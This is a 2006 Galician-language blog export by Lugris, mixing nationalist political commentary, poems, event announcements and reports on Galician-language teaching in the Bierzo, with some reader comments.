----- -------- AUTHOR: Lugris TITLE: Os livros de texto dos espanhois... BASENAME: os_livros_de_texto_dos_espanhois DATE: Mon, 16 Oct 2006 12:42:46 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: TAGS: ----- BODY:Um dos temas predilectos dos fachas espanhois (dos fachas ráncios, dos fachas progres, dos fachas que se pensam modernos, e de tantas outras sub-espécies que pululam polos territórios mediáticos espanhois), é o tema da educaçom e dos livros de textos. Sobre todo, os livros de texto nas naçons que ainda hoje sobrevivem sob a bota militar espanhola. Aproveitam qualquer momento, qualquer excusa, para insistir na sua teima anti-todo-o-que-nom-seja-Espanha (una grande y libre).
Deveriam preocupar-se menos de como a administraçom autonómica (por certo, administraçom tam espanhola como a administraçom "central") da Catalunha, Euskadi ou Galiza organiza a educaçom dentro das suas competências, e mais do que os seus escolares "aprendem" nos seus livros de texto. Como mostra, um botom.
Se isto nom sucedera em Fachadolid, mas em Barcelona, em Bilbo ou em Compostela, já teriamos montado por parte dos comentaristas, articulistas, jornalista, opinólogos e demais ralea, um bom folhom. Imaginai os titulares do Mundo! Imaginai as vozes na COPE! Imaginai os editoriais no Pais!
Definitivamente, estam tolos estes espanhois!
----- -------- AUTHOR: Lugris TITLE: GZ combatente BASENAME: gz_combatente DATE: Tue, 26 Sep 2006 21:02:55 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY: ----- -------- AUTHOR: Lugris TITLE: Qualquer outro BASENAME: qualquer_outro DATE: Mon, 25 Sep 2006 15:47:08 +0000 STATUS: publish PRIMARY CATEGORY: Catecismo CATEGORY: Escrever nom é mau TAGS: ----- BODY:E se cristo morreu na cruz
por nós
alguén deveria dizer-lle
dunha vez para sempre
que nós
nós
nunca seremos capazes dunha cousa asi
ainda que caian cinquenta dilúvios
ou cento cinquenta
e a terra se abra para tragar-nos
porque nós
nós
nunca pedimos este mundo
Servia-nos qualquer outro
Qualquer outro
(de: "Quen nos defende a nós dos idiotas?", Letras de Cal, 1997)
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 27 Sep 2006 11:55:29 +0000 URL:Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- -------- AUTHOR: Lugris TITLE: Nom só de folk vive a humanidade... BASENAME: nom_so_de_folk_vive_a_humanidade DATE: Thu, 21 Sep 2006 06:38:10 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:E como também outras músicas ajudam...
nom quero deixar passar a oportunidade de comentar a audiçom de música que celebrará o Mortícia, baixo o título de "A Santa Companha", com "achegados da Corunha", este Domingo, 24 de Setembro, a partir das, como nom, 00.00h.
"Da mao dos DJs mais escuros do momento, descubriredes um prazer tam belo como cruel".
Pois a nom perder-se este encontro... os que gostem destas cousas "escuras" e "sinistras".
Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- -------- AUTHOR: Lugris TITLE: Vigo de Esquerda BASENAME: vigo_de_esquerda DATE: Thu, 21 Sep 2006 06:03:09 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Quem pudera viver em Vigo...!
----- -------- AUTHOR: Lugris TITLE: Soberania BASENAME: soberania DATE: Thu, 21 Sep 2006 06:01:56 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:O oráculo pensou
?Isto cai polo seu próprio peso?
Nom
estava
ante
as
torres
gémeas
Estava na rua do Hórreo
e de fundo ouviam-se
as vozes duns parlamentares
a debaterem
sobre
a) a conveniência
b) a pertinência
c) a importáncia
de aplicar a normativa ISO 40/30006
nas caixas de bolachas
Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- -------- AUTHOR: Lugris TITLE: Pedimento de ajuda para um maior reconhecimento estatutário do galego no Bierzo e A Seabra BASENAME: pedimento_de_ajuda_para_um_maior_reconhe DATE: Tue, 19 Sep 2006 13:08:06 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Reproducimos o escrito enviado por Fala Ceive a diversas entidades, organismos, pessoas e meios de comunicaçom da Comunidade Autónoma Galega, do Bierzo, A Seabra, no dia de onte, referido à necessária colaboraçom para conseguir um maior reconhecimento e protecçom da língua galega na futura reforma do estatuto de autonomía de Castela e Leom.
A Associaçom Cultural Fala Ceive do Bierzo, dirige-se à cidadania do Bierzo e do conjunto da Galiza como pedido de ajunda para demandar perante as Cortes de Castela e Leom umha maior protecçom da língua galega na reforma do Estatuto de Autonomia desta Comunidade Autónoma. Pretendemos mais reconhecimento legal para o galego do Berzo e a Alta Seabra, que permita a necessária normalizaçom lingüística destes dous territórios. Neste sentido, a declaraçom de oficialidade do galego deve ter lugar no devandito Estauto de Autonomia, o qual permitiria o uso administrativo deste idioma nas instituiçons públicas. Alem do mais, é legítimo e justo que todas as comunidades galego-falantes do noroeste peninsular (Comunidade Autónoma Galega, o Berzo, a Alta Seabra, e o Návia-Eu), tenham reconhecidos iguais direitos lingüísticos, para salvar as dicriminaçons que sofrem os e as habitantes dos três territórios estremeiros com idioma galego sem declaraçom de oficialidade.
Fala Ceive lembra que já a pressom social e política tivo os seus resultados positivos em 1998, quando se conseguiu a inclusom da língua galega no actual Estatuto de Autonomia de Castela e Leom, que ficou recolhida da seguinte forma: ?Gozarán de respeto y protección la lengua gallega y las modalidades lingüísticas en los lugares en que habitualmente se utilicen? (artigo 4.2). Agora temos que exigir umha redacçom alternativa que melhore a protecçom do galego com um novo artigo. Esta actual conjuntura política de reforma estatutária deve ser aproveitada pola cidadania para participar activamente, mediante a oferta de propostas favoráveis ao reconhecimento de mais direitos, caso dos lingüísticos. Estamos perante umha oportunidade histórica para conseguirmos umha maior protecçom legal do idioma galego que precisa da mobilizaçom social e política. E isto é assim poque cremos firmemente que, no fundo deste debate político, está em jogo a própria existência futura do galego, tanto no Berzo como na Alta Seabra.
Fala Ceive anima de novo a cidadania do Berzo e, especialmente, a da Comunidade Autónoma Galega, as suas instituiçons (Parlamento, Junta, Conselhos da Cultura Galega, Universidades, etc.), os partidos políticos, sindicatos, associaçons (culturais, juvenis, etc.), os meios de comunicaçom e demais para que remesem as suas cartas e declaraçons oficiais à Comissom de Reforma do Estatuto de Autonomia das Cortes de Castela e Leom (www.ccyl.es), em demanda de umha maior protecçom legal para a língua galega do Berzo e a Alta Seabra. Os escritos dirigirám-se à ?Comissom de reforma do Estatuto de Autonomia, Cortes de Castilla y León. 47194 Fuensaldaña?. As ditas cartas, deverám chegar ao seu destino antes de 29 de Novembro de 2006, data em que se aprovará definitivamente o Estatuto polo pleno das Cortes de Castela e Leom.
Muito obrigados a todos e todas pola vossa ajuda solidária!
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Tue, 19 Sep 2006 15:24:57 +0000 URL:Faremos o possível para enviar toda ajuda.
----- -------- AUTHOR: Lugris TITLE: Caminhar sobre as águas BASENAME: caminhar_sobre_as_aguas DATE: Sat, 16 Sep 2006 10:40:31 +0000 STATUS: publish PRIMARY CATEGORY: Catecismo CATEGORY: Escrever nom é mau TAGS: ----- BODY:Deverias caminhar sobre as águas
dixo-lhe aquela calorosa tarde a voz interior
E intentou-no
Intentou-no repetidas vezes
até que o socorrista lhe chamou a atençom
por andar a fazer o parvo
nas piscinas municipais
Moi bom
----- -------- AUTHOR: Lugris TITLE: Dia da Galiza Combatente BASENAME: dia_da_galiza_combatente DATE: Sat, 16 Sep 2006 10:09:28 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:
NÓS-UP homenageará as vítimas do holocausto galego no Dia da Galiza Combatente
A nossa organizaçom dedica neste ano o Dia da Galiza Combatente, que nesta ocasiom será no dia 7 de Outubro, às vítimas do que pode ser definido como verdadeiro holocausto galego, aplicado implacavelmente polos fascistas alçados em 1936 contra a legalidade republicana. O acto celebrara-se no Alto do Furriolo na Terra de Cela Nova.
Coincidindo com o ?Ano da Memória? que sectores mui diversos do movimento popular e algumhas instituiçons estám a comemorar, NÓS-UP quijo centrar a jornada em que comemoramos a capacidade de luita historicamente demonstrada polo nosso povo numha série de actos que reivindiquem essa memória.
E vamos fazê-lo ultrapassando a evocaçom nostálgica, sentimental e historicista, ligando a liquidaçom de milhares de galegos e galegas durante quatro décadas de ditadura militar com a continuaçom do franquismo reformado que representa o sistema monárquico imposto à morte do ditador.
A luita que custou a vida a tantos e tantas compatriotas mantém plena vigência e assim o afirmamos, sem complexos nem concessons, neste Dia da Galiza Combatente. Denunciaremos, sim, a política de extermínio físico e ideológico do melhor da Galiza que estava a ser construída pola classe trabalhadora e o movimento popular na década de 30. Mas também esta II Restauraçom Bourbónica ilegítima e que nega os nossos direitos nacionais, da classe trabalhadora e das mulheres.
Porque nós, como o melhor de aquele movimento popular ceifado polo fascismo, somos também anticapitalistas, laicistas e anticlericalistas; somos também pola soberania nacional plena, defendemos umha democracia verdadeira ao serviço da maioria, os direitos das mulheres e umha Galiza republicana.
Por todo o anterior, afirmamos: 1936-2006 A luita continua!
HOMENAGEM NACIONAL ÀS VÍTIMAS DO HOLOCAUSTO GALEGO
Sábado dia 7 de Outubro
Programa previsto:
· 13 horas: Concentraçom no alto do Furriolo, a poucos quilómetros de Cela Nova, onde fôrom fusiladas dúzias de presas e presos procedentes do campo de concentraçom do mosteiro de Sam Rosendo de Cela Nova.
· Intervençom de:
- Carlos Morais, membro da Direcçom Nacional de NÓS-Unidade Popular
- Diego Bernal, BRIGA (organizaçom juvenil da esquerda independentista)
- Conchita Nogueira, Comissom da Memória do 36 em Vigo
- Representante da Associaçom Cultural Arraianos
- Lois Pérez Leira , Comité Galego Bolivariano
· Oferta floral no monumento às vítimas do franquismo
· Recital poético com Igor Lugris, Cruz Martínez, Rosanegra e Ramiro Vidal Alvarinho
· Canto da Internacional e do Hino Nacional
· Posteriormente terá lugar um jantar de confraternidade num restaurante próximo.
Para facilitar a assistência, a nossa organizaçom disponibilizará autocarros que partirám de Ferrol, Corunha, Compostela, Ponte Vedra, Vigo e Ponte Areas.
Saídas:
FERROL-CORUNHA-COMPOSTELA- ALTO DO FURRIOLO
Ferrol às 9h da paragem das Pias
Corunha às 10h de Sam Pedro de Mezouço
Compostela às 11h da Estaçom de Autocarros
PONTE VEDRA ? VIGO ? PONTE AREAS ? ALTO DO FURRIOLO
Ponte Vedra às 10h diante do Concelho
Vigo às 11h na Praça dos cavalos (Praça de Espanha)
Ponte Areas às 11,30 h na Baiuca Vermelha
Por preços populares de 15 ? para estudantes e desempregad@s e 20 ? para trabalhadores/as em activo, inclui-se a viagem e o jantar com que concluirá a jornada.
As pessoas interessadas podem adquirir o bono na Fundaçom Artábria (Ferrol), CS Henriqueta Outeiro (Compotela), CS Revira (Ponte Vedra), LS Baiuca Vermelha (Ponte Areas) ou no Local dos argentinos no exterior (Doutor carracido nº 27, Vigo).
----- -------- AUTHOR: Lugris TITLE: Escola de Gaitas de Vila Franca: 25 anos de trabalhos e ilusons BASENAME: escola_de_gaitas_de_vila_franca_25_anos DATE: Tue, 12 Sep 2006 21:38:56 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Nom conseguim informaçom na rede em nengum web, nem tam sequera no seu, mas inteirei-me por um (pequeno, muito pequeno) cartaz, que a Escola de Gaitas de Vila Franca do Berzo, celebra esta fim de semana o seu 25 Aniversário com um concerto no que contaram com a presença dos gaiteiros de Treixadura. Umha boa notícia! Um bom concerto a nom perder-se!
O concerto, será este Sábado de Setembro, dia 16, às 21'00h. no Teatro vilafranquino.
Já o sabedes: tedes um bom motivo, umha boa excursa, para virdes ao Berzo. Vemo-nos!
Partidários dumha ou outra normativa para a nossa língua, conscientes ou nom de falarmos a mesma língua no aquém e no além Minho, o que devemos fazer é felicitarmo-nos porque, contra vento e maré, fazendo frente a mil e umha dificuldades e atrancos, a(s) nossa(s) língua(s) avança(m) no Berzo.
Neste curso 2006-2007, 16 centros educativos da nossa comarca ofertaram ao seu alunado a possibilidade de estudar língua galega. E a estes haverá que somar os outros 20 centros que ofertarám português. Sim: nem eu me equivoquei ao escrever nem tu ao ler. 20 centros que ofertarám português. Cá, no Berzo, na nossa comarca da Galiza irredenta.
Foi em 2001 quando, após a assinatura dum convénio entre a Junta da Comunidade Autónoma Galega e a "Ghunta" da Comunidade Autónoma de Castela e Leom (na altura, ambas as duas instituiçons em maos do PP), começou oficialmente a estudar-se língua galega nos liceus e nas escolas berzianas. No passado 30 de Agosto, essas duas mesmas instituiçons renovarom o protocolo, que, como grande novidade, oferece a possibilidade de que os centros educativos privados e concertados também podam acolher-se ao mesmo.
Assim, neste curso, 12 Centros Rurales Agrupados e Colégios Públicos ( Toral de Meraio, Valentim Garcia Yebra, Jimena Munhíz, Carucedo, Maria Luisa Ucieda, Sam Lourenço de Brindisi, Virgem da Quinta Angústia, Sam Ildelfonso, A Ponte, A Placa, Compostilha e Jesus Maestro), além de quatro liceus de ensino secundario (Padre Sarmiento de Vila Franca, Bergidum Flavium de Cacabelos, Europa e IESVE de Ponferrada) teram aulas de língua galega em algumha das suas modalidades. Segum a Delegaçom Territorial de Educçom da "Ghunta" de Castela e Leom, serám perto de 800 alunos e alunas as que optarám por estudar a nossa e na nossa língua, com (segum o mesmo organismo) oito professores e meio (sic) para atender ao alunado. Estas cifras, demostram a grande vitalidade que vai colhendo o estudo da nossa língua no Berzo, pois no curso 2002-2003 eram 428 o número de alunoas/os que optavam por esta matéria.
E a estes haverá que somar o alunado, adulto, da Escola Oficial de Idiomas, que, com dous professores/as, oferece a possibilidade a muitas pessoas de aprender a nossa língua. Com isso, o número de alunas/os de língua galega situará-se por vota dos 900.
Mas para além disto, devemos destacar também o facto de que na nossa comarca, e desde o curso 1987-1988, e por meio dum programa de cooperaçom institucional entre o Estado espanhol e Portugal, estám-se a ofertar aulas de língua portuguesa nos centros educativos. Com 11 professores/as na actualidade, que atendem 20 centros, entre colégios (Colégio Público Tierno Galván, Manuel Barrio, Generación del 27, San Miguel, Ribas do Sil, Páramo do Sil, A Devesa, Menéndez Pidal, Santa Bárbara de Bembibre, Santa Bárbara de Torre do Berzo, Tremor de Arriba, A Granja de Sam Vicente, Pradoluengo, O Redondal, Colégio Rural Agrupado de Villager de Laciana e Colégio Público ?A Cortina? de Fabero), e centros da ESO onde se imparte como optativa no primeiro ciclo (Colégio Público Ribas do Sil, C.P. Santa Bárbara de Torre do Berzo, C.R.A de Tremor de Arriba y C.P. Manuel Barrio de Vila Seca de Laciana).
Umha boa notícia (ou mesmo duas boas notícias) para a(s) nossa(s) língua(s), independendentemente do lado da barricada onde cada quem de nós se situe no confronto normativo.
Umha boa notícia, que nom teria explicaçom, nom sería possível entender, sem ter em conta a existência, em todos estes anos, do trabalho reivindicativo desenvolto polas organizaçons galeguistas no Berzo: Fala Ceive, a Escola de Gaitas, e outras muitas organizaçons, colectivos e mesmo pessoas a título individual.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 13 Sep 2006 20:32:23 +0000 URL:Escreve-me o Manolo, um bom companheiro, para me comentar que na lista de centros que impartem língua portuguesa faltam dous, ambos os dous de Bembibre: o I.E.S. ALVARO YANHEZ E O I.E.S. SENHOR DE BEMBIBRE.
Recolhida queda a anotaçom.
Compostela vermelha e etérea
os sonhos de licor-café
a terra de pedra que arde
e o mundo que roda sempre do revês
Os livros da madrugada
cafés dentro do café
a lua fala da memória
e dumha história que nom vai morrer
A pátria constroese nas ruas
as ferramentas som todas as maos
as cores das velhas bandeiras
desenham os ritmos das novas cançons
Compostela vermelha e etérea
os sonhos de licor-café
etc...
Dedica-lhe um minuto à defesa da língua e cultura galegas no Berzo.
Há no Diário de Leom (pertencente ao Grupo Voz), umha enquisa dessas electrónicas, nas que se debate sobre o ensino da nossa língua na nossa regiom. Já vos podedes imaginar que os comentários por parte dos espanholistas, dos carcas e dos fachas disfarçados de leonesistas som do mais xenófobo, antigalego e racista que se poda imaginar.
Se tes um minuto, passa-te pola sua página , e participa: vota, e se tes mais de um minuto, deixa umha mensagem.
Por agora, o resultardo é dum 88% de votos contra o ensino da nossa língua na nossa regiom, e só um 11% a favor, sobre um total de 1431 votos. A ver se entre todas e todos podemos dar-lhe a volta ao marcador ; ), ou equilibrá-lo um pouco.
¿Le parece acertado que en algunos colegios del Bierzo se imparta gallego?
Edición digital
Los alumnos de los colegios privados y concertados del Bierzo y de la comarca zamorana de Sanabria podrán recibir enseñanza de gallego a partir de este curso si así lo solicitan los centros, según recoge el nuevo convenio firmado por la Junta de Castilla y León y la Xunta de Galicia para impartir la lengua gallega en las zonas limítrofes a la comunidad vecina.
RESULTADOS Votos
Sí 11%
168
No 88%
1263
Total: 1431
Eu son de Ponferrada descendente dun pobo doconcello de Cacabelos e falo galego cando podo e porsuposto de escoitalo no pobo porque os meus pais consideranlo “de pueblo” e non falan, ha por certo eu tamen son “facha” polo que consideiro co galego non ten ideoloxia….. un saudo a todos os galegofalantes do Bierzo
----- COMMENT: AUTHOR: Manuel Ovalle [Visitante] DATE: Fri, 08 Sep 2006 08:28:54 +0000 URL: http://www.diariodelbierzo.comPor el derecho a aprender gallego en el Bierzo
Manuel Ovalle
Vivo en Ponferrada, nací en Cacabelos. Mi madre es de Cacabelos, de Quilós, y mi padre de Carracedelo. Siempre, toda la vida, han hablado en gallego, entre ellos y con sus hermanos. Por supuesto, también con sus padres. Con sus hijos, es decir, conmigo y con mis hermanos, no. Practicamente nunca.
Somos tres hermanos, dos hombres y una mujer. Mi hermano mayor, que sigue viviendo en Cacabelos, habla el gallego bastante bien, aunque como no lo pudo aprender en casa, dice muchas cosas por el medio en castellano, pero cuando va al bar a echar la partida, o cuando los dias de fiesta nos reunimos y acabamos cantando y contando histórias después de la cena o la comida, es incapaz de no hacerlo en gallego. Las canciones que canta, son siempre en gallego: y no lo hace por ningun tipo de convencimiento ideológico o político, las canta tal y como las aprendió. Su mujer, mi cuñada, es procedente de La Barosa, y ella si que habla bién el gallego? Dá envidia escucharla a ella y a su madre cuando se juntan!
Mi hermana emigro a Barcelona, y allí aprendió catalán (está casada con un chico de allí, Manel), y ahora, desde hace dos años, manda a sus dos hijas a aprender gallego ("como sus abuelos", dice), al Centro Gallego. Cuando vienen en verano, intenta que de vez en cuando la gente les hable en gallego, para que ellas vean que aprenden un idioma útil y vivo. Este año, pasaron una semana en Burela, en la costa de Lugo, y venian encantadas por haber podido hablar con mucha gente en gallego.
Yo nunca pude aprender gallego, y aunque lo entiendo sin problemas, practicamente no se hablarlo. Me gustaria que mis hijos, cuando los tenga, lo aprendieran, para que hablen como sus abuelos, como su tío Luís, como sus primas Laura y Belén. Como una gran parte de sus familiares de Carracedelo y Cacabelos. Por suerte, ellos podrán. Yo no pude, y lo lamento. Como mi caso, hay muchos más en todo el Bierzo. Sólo que no nos dedicamos a insultar a los que nos impidieron durante muchos años tener la posbilidad de aprender gallego.
Que exista la posibilidad de aprender gallego en las escuelas, en los institutos, es una cuestión de derecho: tenemos derecho a aprender el idioma de nuestros padres, de nuestros abuelos. El idioma que se hablaba y que todavía se habla en nuestras aldeas, en nuestros pueblos. En definitiva, el idioma de nuestras cosas. Es de justicia, y no puedo comprender que exista gente que quiera negarnos nuestros derechos. A ellos nadie les obliga a aprender gallego, pero ellos quieren obligarnos a nosotros a no aprenderlo. Y se llaman demócratas? Yo creo que tienen otro nombre. Con sus insultos, con sus amenazas, con sus mentiras e hipocresía, se retratan y se delatan.
Ao cantor dos Prisoners
condenárom-no com catorze anos
a permanecer noventa e nove anos na cadeia
no cárcere
privado da liberdade
Entre os muros da prisom
formou um grupo musical
vocálico
e gravou vários números um
Lá
Na cadeia
A música era umha evasom
e a voz o seu único recurso
a sua única arma
a ferramenta com que golpear
silenciosamente
aquelas paredes
Isto foi há muitos anos
cinqüenta ou sessenta anos antes
da vitória eleitoral do assassino G. W. Bush
cinqüenta ou sessenta anos antes
da derrota eleitoral do sucessor do assassino J. M. Aznar
que nunca serám condenados a noventa e nove anos de cadeia
de cárcere
de privaçom da liberdade
Nom som as vidas as que se cruzam
som as memórias
Hoje os cantores dos Prisioners
nom podem nem estudar música
na prisom
Obrigatoriamente contra o inferno
e os pecados
construim a tua igreja à tua imagem e semelhança
como era o teu desejo
e berrei bem forte os mandamentos
todos
que tu me impugeras
do primeiro ao último
sem esquecer nengum
sem acrescentar nem modificar nada
porque nom era permitido interpretar as tuas palavras
Propaguei a tua mensagem
que saía da minha boca
nas ruas nos templos e nos palácios
e mostrei-lhes a luz
como tu me dixeras
Carreguei com a cruz de ser teu filho
e pronunciei sempre com respeito e veneraçom o teu nome
para que pudesse ser santificado
para que aprendessem também a falar contigo
e para que tivessem o justo e necessário medo
Figem assim a tua vontade
Mas às vezes
sem pretendê-lo
escuitei as suas palavras
lim os seus livros
e reparei nas suas vidas
Por isso decidim desertar
Nom é que me cansara
ou que me cegara o brilho da carne
como tu dixeche a quem te quijo ouvir
Foi que nom suportava saber-me morto
saber-me já morto
mesmo antes do sacrifício
a que me conduzias
prisioneiro dum fado maldito
de que nom podia afastar-me
Figem-no
porque sabia que essa era a maneira definitiva
de nom cair nunca
na tentaçom
e libertar-me do mal
Onte mesmo, falavamos sobre a renovaçom do convénio "del gallego", e criticavamos que todo se resumira, finalmente, na esperança de que a vontade da "Ghunta" de Castela e Leom em permitir o ensino da nossa língua na nossa regiom nom tivera fim. De certo, na próxima quarta-feira, quando o conselheiro de educaçom da "Ghunta", Francisco Javier Álvarez Guisasola, e a conselheira da Junta, Laura Elena Sánchez Piñón, assinem o novo acordo, todo serám fotos, declaraçons de boas intençons, promesas. Propaganda. Pura e dura propaganda. E agitaçom, claro. Que a realpolitik nom está rifada com a agitprop (isso já o descobrirom os políticos profesionais há muito tempo). Mas será tudo, realmente, umha grande mentira.
Onte mesmo pudemos descobrir novamente a realidade. A realidade que, com certeza, nom vai sair nos meios de comunicaçom massiva. A realidade que demostra que a política a respeito da nossa língua no Berzo (e em geral no conjunto dos territórios da faixa oriental) nom é mais que promesas e mentiras.
Chegou-nos onte a resposta da Delegaçom Territorial de Leom da Direcçom Provincial de Educaçom de Leom da "Ghunta" de Castela e Leom, a um aluno que quer cursar ciências sociais em galego em 4º da ESO. Tal e como se lhe responde, parece que as ciências sociais em galego na nossa regiom só estam contempladas no primeiro ciclo da ESO (1º e 2º), ainda que já no ano passado se pudo estudar 3º em Vila Franca, e que se ofertou em 4º, ainda que finalmente nom houvo alunado (por temor a ter depois problemas com o selectivo, e medo dos pais a que num curso tam elevado as suas filhas e os seus filhos estudaram umha asignatura na nossa/sua língua). A optativa da língua contempla-se, mas como a sua oferta se deixa nas maos dos centros... Quer dizer: como se contempla nom como um direito, mas como um privilégio que alguem (a direcçom do centro, as instituiçons pertinentes) tenhem a bem conceder ou nom...
E urgente denunciarmos esta situaçom, dando-lhe a máxima difussom possível por todos os meios. Há que enviar esta informaçom a todos os contactos possíveis de pessoas, organizaçons e colectivos comprometidos com a defesa do ensino da língua e cultura galegas, da língua e cultura do Berzo, no próprio Berzo.
A "Ghunta" sempre está a presumir do que que funciona o "Programa" de ensino da língua galega no Berzo: mas é tudo mentira. Se qualquer cousa avança, se qualquer cousa evolue, é sempre a pesar deles, sempre contra a sua vontade. Mas a Junta da Comunidade Autónoma Galega também é responsável: nom fai mais, igual que em Castela e Leom, que presumir do bem que vai tudo, sem se preocupar de comprovar o verdadeiro desenvolvimento dos programas e dos convénios assinados. Tudo é política de imagem: fazer que se fai para sair na foto.
Na próxima semana, quando assinem o novo "convenio del gallego", a Conselheira e o Conselheiro, a Direcçom Geral de Política Lingüística, e ambas as Juntas autonómicas, deveriam aclarar por escrito e publicamente:
1.- Em quê cursos é que vai existir realmente a possibilidade das ciências sociais em língua galega (o normal, o lógico, seria que essa possibilidade existira em toda a ESO).
2.- Quê critério se vai seguir para implantar essa possibilidade: a vontade dos pais, a dos centros, a da direcçom provincial de educaçom,...?
3.- Quê critério se vai seguir para implantar a optativa de Língua e Cultura Galega (a grande estrela do novo convénio, segum tenhem declarado aos meios tanto a Junta como a "Ghunta").
4.- Quando é que a Junta da Comunidade Autónoma da Galiza vai começar a desenvolver os aspeitos referidos aos territórios galegófonos situados fora da CAG em geral, e ao Berzo em particular, recolhidos no Plano Geral de Normalizaçom Lingüística (aprovado por unanimidade no Parlmento -ou parlamentinho de cartom-, na passada legislatura)?.
Começou a anexom, a colonizaçom, a invasom,... Como lhe queirades chamar.
Política de factos consumados. E logo ainda haverá quem diga que o bipartito nom tem audácia!
Parece que finalmente na próxima quarta-feira, a Junta da Galiza e a "Ghunta" de Castela e Leom vam assinar, por meio dos/as seus/suas conselheiros/as de educaçom, a renovaçom do convênio que permite impartir a nossa língua na nossa regiom. Nom está mal. Nom foi sem tempo que andiverom a negociar. Fala Ceive vinha reclamando há tempo esta renovaçom, como um mal menor.
Só um problema: o que realmente significa este convêncio, se é que nom melhora as condiçons do anterior, é que a "Ghunta" de Castela e Leom permite que se impartam asinaturas na nossa língua na nossa regiom, e que, como novidade, se crie umha asignatura denominada Língua e Cultura Galega no bacharelato. Mas é isso nada mais: permite. Tem a bem que podamos gozar dum direito que é nosso, mas que nom existe realmente: em vez dum direito, parece um privilégio. Se quando o praço deste convênio remate, por qualquer questom a "Ghunta" nesse momento considera que já nom deve renová-lo, acabou-se o conto do "gallego" nas escolas e liceus do Berzo.
E, aliás, este convênio o que supom é que quem paga practicamente todo é a Junta da Comunidade Autónoma Galega. Haverá dous anos, numhas declaraçons à imprensa, um membro da "Ghunta" de Castela e Leom, dizia que a existência desta aulas de língua e cultura galegas nas escolas e liceus do Berzo, nom lhe supunha ao erário público da sua comunidade autónoma mais que dous milhóns (de pesetas!) ao ano. Com esse dinheiro, é dificil pensar que se poda manter toda a estrutura ncessária (profesoras/es, meios, material,...).
Um total de 842 alunas/os do Berzo tiverom oportunidade no curso passado de estudar a nossa língua na nossa regiom berziana, em doze colégios (entre os que estam os d Ponte, Cacabelos, Corulhom, Carucedo, Vila Franca, Ponferrada, Camponaraia, Toral dos Vaus e Toral de Meraio), e quatro liceus (entre os que estam o Padre Martín Sarmiento de Vila Franca, o Europa de Ponferrada, e o Bergidum Flavium de Cacabelos). A estes, haveria que somar as/os alunas/os da Escola de Idiomas de Ponferrada, na que também se pode cursar língua galega, e que está sendo umha possibilidade de aprendizagem para muitas pessoas adultas que já nom podem aceder a outra ensinanza regulada.
E isso pesie às trabas, dificuldades e problemas que a administraçom insiste em colocar no caminho da normalizaçom lingüística no Berzo.
Mas a língua e a cultura galegas siguem vivas no Berzo. Pouco a pouco, pasinho a pasinho, contra vento e maré, a reivindicaçom lingüístico-cultural vai achando um oco, e isso se demostra, precisamente, no ensino. Por exemplo, este ano em Vila Franca dobrará-se o número de alunas/os matriculados em galego: no ano passado matricularom-se em primeiro 3 alunas/os, este ano 11; em segundo: 6; em terceiro: 6; em quarto: 4; e na optativa de Língua: 6. E isso sem contar que ainda faltam nesta lista alunado dalguns centros que lhes toca no IES de Vila Franca, e o que se matricule em Setembro. Também hña lugar para a esperança. O esforço de andar polos colexios, polas ruas, polas vilas e aldeias, fazendo propaganda (agitprop, que se dizia antes) paga a pena.
----- -------- AUTHOR: Lugris TITLE: Moda galego-berziana no CGAC BASENAME: moda_galego_berziana_no_cgac DATE: Thu, 24 Aug 2006 13:22:28 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:
O CGAC, o Centro Galego de Arte Contemporánea, apresentou onte o novo vestiário d@s trabalhadores/as, que foi encarregado às alunas (todas elas som alunas, nom há homens), do Centro de Estudos Superiores de Desenho Textil e Moda de Galiza (Esdemga), radicado em Ponte Vedra, onde compartilha edifício com a Faculdade de Belas Artes da Universidade de Vigo.
A notícia aparece hoje em vários meios de comunicaçom, com fotos onde se pode ver tanto os prototipos de vestiário apresentado, como às responsáveis dos mesmos, as alunas do Esdemga: podede-lo ver no Correo, no Galiza Hoje e na Voz da Galiza.
Entre elas, Sarai Fernandes, galega do Berzo, berziana de Ponferrada.
galego-berziana? que estranho soa isso.
Ah, e vim a notícia no Faro de vigo (acho) mas nom reparei em que estava a Sarai tb!
----- -------- AUTHOR: Lugris TITLE: É imbécil Bush? BASENAME: e_imbecil_bush DATE: Thu, 24 Aug 2006 06:25:57 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:
Nos EUA duvidam da capacidade intelectual de Bush. Editorialistas e comentaristas conservadores norte-americanos estam começando a duvidar da capacidade do presidente George W. Bush para dirigir os EUA e se questionam a respeito de sua política exterior, especialmente no Iraque, segundo AFP.
"Bush é um imbécil?". Tal foi a provocadora pergunta que há dias atrás lançou Joe Scarborough, ex-legislador republicano e apresentador do programa "Scarborough Country", da cadeia de televisom MSNBC, um questionamento ouvido mais freqüentemente entre os grupos da esquerda norte-americana.
